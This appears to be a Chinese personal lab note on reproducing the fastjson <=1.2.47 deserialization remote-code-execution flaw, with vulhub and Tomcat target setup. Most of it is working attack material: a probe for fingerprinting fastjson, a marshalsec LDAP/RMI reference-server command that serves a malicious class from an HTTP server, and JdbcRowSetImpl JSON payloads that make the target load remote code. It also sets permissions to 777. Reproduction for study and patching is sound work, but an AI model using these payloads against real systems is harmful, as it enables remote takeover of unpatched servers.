主要作为自己记录用,排版比较随意
一、测试和复现主要考虑两个条件:
- 1.fastjson <=1.2.47
- 2.jdk版本在11.0.1、8u191、7u201、6u211之前
另外,可以通过发送没闭合的json数据,通过回复包来判断目标站点是否有使用fastjson,例如提交{"@type":"c
如上以上条件都满足,很大概率能利用成功
也有绕过jdk版本限制的方法,可以网上搜一下,不过利用起来比较复杂,篇幅有点大,可以自己往上搜相关文章
反序列化常用的两种利用方式
一种是基于rmi,一种是基于ldap。 RMI是一种行为,指的是Java远程方法调用。 JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。 ldap指轻量级目录访问协议。
使用RMI还是LDAP调用远程class恶意文件取决于目标机器上的JDK版本:
可以看到ldap的利用范围是比rmi要大的,实战情况下推荐使用ldap方法进行利用。
本地测试确定过,jdk版本为8u251时即使fastjson版本符合要求也是利用不了的,jdk版本为8u171、fastjson1.2.47时是可以用ldap复现成功的
二、漏洞复现
2.1 使用vulhub方式
docker容器里的jdk版本,jdk8u102 ----------该jdk版本用rmi或ldap服务都可以加载远程class文件
步骤:
- 1.1开启容器docker-compose up -d ---------在debian9.5上
- 1.2 python2 -m SimpleHTTPServer (默认端口8000)-----在kali上
在开启http服务的路径下,放编译好的class文件 - 1.3使用marshalsec-0.0.3-SNAPSHOT-all.jar开启rmi或ldap服务 ---------在kali上
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.37.128:8000/#TouchFile" 9999 - 1.4 post 利用包(确认过,ldap://192.168.37.128:9999/的后面可以接任何字符,不为空即可,不一定要是类名-----下面a或b的名字也可以任意取)
rmi:
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.37.128:9999/exploit",
"autoCommit":true
}
}
ldap: ------------------其实这个payload是<=1.2.47通杀的,无rmi和ldap的区别,是使用rmi还是ldap是由 jdk版本决定的
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.37.128:9999/expdsaloit",
"autoCommit":true
}
}
2.2 本地搭建tomcat+fastjson1.2.47环境进行复现
主要是靶机的搭建
debian9.5、tomcat9、fastjson1.2.47、jdk(用debian9自带的8u171或卸载自带的后自己手动装jdk8u251,区别就是能否复现成功,原因上面有讲到)
1.1 tomcat安装
https://mirrors.tuna.tsinghua.edu.cn/apache/tomcat/tomcat-9/v9.0.36/bin/apache-tomcat-9.0.36.tar.gz
tar zxvf apche-tomcat....
mv apache-tomcat.. /opt/tomcat9
chmod -R 777 tomcat9
vim /etc/profile配置环境变量(如果使用debian自带的jdk就不用了配置jdk的环境变量了,配置tomcat的即可)
export JAVA_HOME=...(根据自己的实际情况写)
export JRE_HOME=...
export CLASS_PATH=...
export PATH=...
export CATALINA_HOME=/opt/tomcat9
source etc/profile
cd /opt/tomcat9/bin
./catalina.sh start
unset CATALINA_HOME(可选) -----如果在start tomcat服务的时候报Cannot find tomcat/bin/setclasspath.sh错误,则需要敲这条指令,然后再start
2.2 复制fastjson1.2.47环境包到/opt/tomcat9/webapps (github找一下)
然后访问http://IP:8080/fastjson/查看效果
附:测试java文件
参考链接:
https://www.t00ls.net/viewthread.php?tid=56927&highlight=fastjson
https://mp.weixin.qq.com/s/sWOuXnMd7r0q8W-sInMhGQ
https://mp.weixin.qq.com/s/i7-g89BJHIYTwaJbLuGZcQ
https://github.com/RealBearcat/FastJson-JdbcRowSetImpl-RCE
https://www.t00ls.net/viewthread.php?tid=55109&highlight=fastjson